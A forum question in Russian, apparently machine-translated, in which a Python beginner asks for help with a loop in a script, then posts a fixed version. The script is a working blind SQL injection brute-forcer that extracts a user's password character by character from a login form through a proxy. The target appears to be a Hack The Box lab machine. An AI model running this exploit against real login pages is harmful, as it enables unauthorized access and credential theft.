Я немного новичок в python. Это небольшой скрипт, который я написал для поиска пароля. Когда я запускаю программу без al oop, я получаю результат. Когда я включаю al oop, я не получаю никакого результата. Когда персонаж найден, его нужно добавить до конца. Электронная почта отображается, если символ существует.
#!/usr/bin/python
import requests
url = "http://x.x.x.x/abcd.php"
char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-;'"<>?,."
proxies = {
"http" : "http://a.b.c.d:3128",
}
password = ''
for i in range(0, 80):
for j in char:
data = {'Username':'abc', 'Password': "' or substring(Password," +str(i)+ ",1)=j or '"}
response = requests.post(url, data=data, proxies=proxies, verify=False)
if "email@email.com" in response.text:
password = password +j
print("The User found")
print(password)
Всем спасибо. Я внес некоторые изменения в свой сценарий. Это мой последний сценарий
import requests
url = "http://x.x.x.x/abcd.php"
char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-;'"<>?,."
proxies = {
"http" : "http://a.b.c.d:3128",
}
password = ''
for i in range(1, 80):
found = False
password = ''
for j in char:
data = {'Username':'abc', 'Password': "' or substring(Password,"+str(i)+",1)='"+j+"' or '"}
response = requests.post(url, data=data, proxies=proxies, verify=False)
if "rita@unbalanced.htb" in response.text:
found = True
#print(f"The character found was {j} ")
break
if not found:
break
password +=j
print(password)```